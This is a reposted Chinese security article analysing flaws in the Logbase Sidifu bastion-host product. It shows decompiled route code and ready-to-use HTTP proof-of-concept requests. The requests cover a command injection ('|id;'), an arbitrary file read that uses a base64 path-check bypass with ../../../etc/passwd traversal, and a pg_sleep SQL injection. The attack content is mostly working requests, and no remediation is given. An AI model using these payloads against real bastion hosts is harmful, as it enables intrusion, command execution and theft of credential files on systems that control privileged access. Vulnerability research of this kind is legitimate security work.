赛博大作战中的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
https:
//mp
.weixin.qq.com/
s/tWRD9oYo5eNeyLcf_pv2ew
https://mp
.weixin.qq.com/
s
/rmWBOQaE4aSxWI9VYBRpHg
...
// 安装
pip install uncompyle6
// 查看版本
uncompyle6 --version
// 使用,-o outfile必须先写,例如有一个pcat.pyc,想反编译输出文件为pcat.py
uncompyle6 -o pcat.py pcat.pyc
@app.route(
"/lchk"
, methods=[
'GET'
,
'POST'
])
// 对应请求url为 http://xxxx/bhost/lchk
....
数据包:
POST /bhost/test_qrcode_b HTTP/1.1
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip, deflate, br
Accept: gzip
Connection: close
Referer:
Content-Type: application/x-www-form-urlencoded
Host:
Content-Length: 23
z1=1&z2=
"|id;"
&z3=bhost
# 发现传参没过滤直接拼接造成了任意文件读取
@app.route(
"/GetCaCert"
, methods=[
'GET'
,
'POST'
])
# 文件读取 参数a1
def GetCaCert():
headers = str(request.headers) ;
debug(headers)
if
headers.find(
"a1"
) <
0
:
Name = request.args.get(
'a1'
)
else
:
Name = headers.
split
(
'a1'
,
0
)[
1
].
split
()[
1
];
try:
if
os.path.exists(
'/usr/etc/'
+Name):
fp =
open
(
'/usr/etc/'
+Name,
'r'
);
# 返回读取的内容并base64
a = base64.b64encode(fp.read());
return
a,
200
else
:
return
''
,
400
except pyodbc.Error,e:
return
''
,
400
1
根据阅读源码我们需要在请求头处构造poc
2
bhTranDownload接口其实是有判断逻辑,但因为判断逻辑有点毛病可以绕过,这里是有两个判断的
2.1
判断
1
:
def
check_path
(path)
:
for
one
in
list_path:
if
path.find(one) >=
0
:
return
True
return
False
list_path = [
'/usr/storage/.system/upload'
,
'/usr/storage/.system/replay'
,
'/usr/storage/.system/software'
,
'/usr/storage/.system/update'
,
'/usr/storage/.system/config/backup'
,
'/usr/storage/.system/dwload'
,
'/usr/storage/.system/passwd'
,
'/usr/storage/.system/backup'
,
'/usr/storage/.system/transf'
,
'/usr/ssl/certs'
]
为
if
check_path(Path) ==
False
and
Filename !=
'cf_tnsora'
:
return
'-1'
,
403
;
为了绕过这个判断 我们需要把内容设置为list_path中的内容
2.2
判断
2
:
将/usr/storage/.system/software base64编码并且固定在此处就可以通过
if
Path.find(
"/software"
) >=
0
or
Method ==
'GetSize'
or
Filename ==
'cf_tnsora'
:
pass
else
:
sessioncheck
绕过下面图中的那个
else
:避免进入鉴权
3
基于上面的说法 我们选择/usr/storage/.system/software来进行base64绕过这些
则:
Filename:xxxxxxxxxxxxxxx../../../etc/passwd base64编码希望读取的漏洞路径
Path:L3Vzci9zdG9yYWdlLy5zeXN0ZW0vc29mdHdhcmU= 编码前的内容是/usr/storage/.system/software
最终实现任意文件读取
GET /bhost/bhTranDownload HTTP/1.1
Host: xxxxxxxxxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Filename:xxxxxxxxxxxxxxx../../../etc/passwd base64编码希望读取的漏洞路径
Session:111
Path:L3Vzci9zdG9yYWdlLy5zeXN0ZW0vc29mdHdhcmU= 编码前的内容是/usr/storage/.system/software
Offset:0
Content-Length: 2
Sesstimet:111
Referer: https://xxxxxxxxx/
POST
/bhost/repeat_get_usb_status
HTTP/1.1
Host
: xxxxxxx
Cookie
: bhost=xxxxxxxxxxxxxxxxx
User-Agent
: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept
: */*
Accept-Language
: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding
: gzip, deflate
Content-Type
: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With
: XMLHttpRequest
Content-Length
: 20
Origin
: https://xxxxxxxxxxx
Dnt
: 1
Referer
: https://xxxxxxxx/bhost/
Sec-Fetch-Dest
: empty
Sec-Fetch-Mode
: cors
Sec-Fetch-Site
: same-origin
Te
: trailers
Connection
: close
z1
=
'||pg_sleep(2)||'
原文始发于微信公众号(WK安全):Logbase思迪福堡垒机漏洞分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论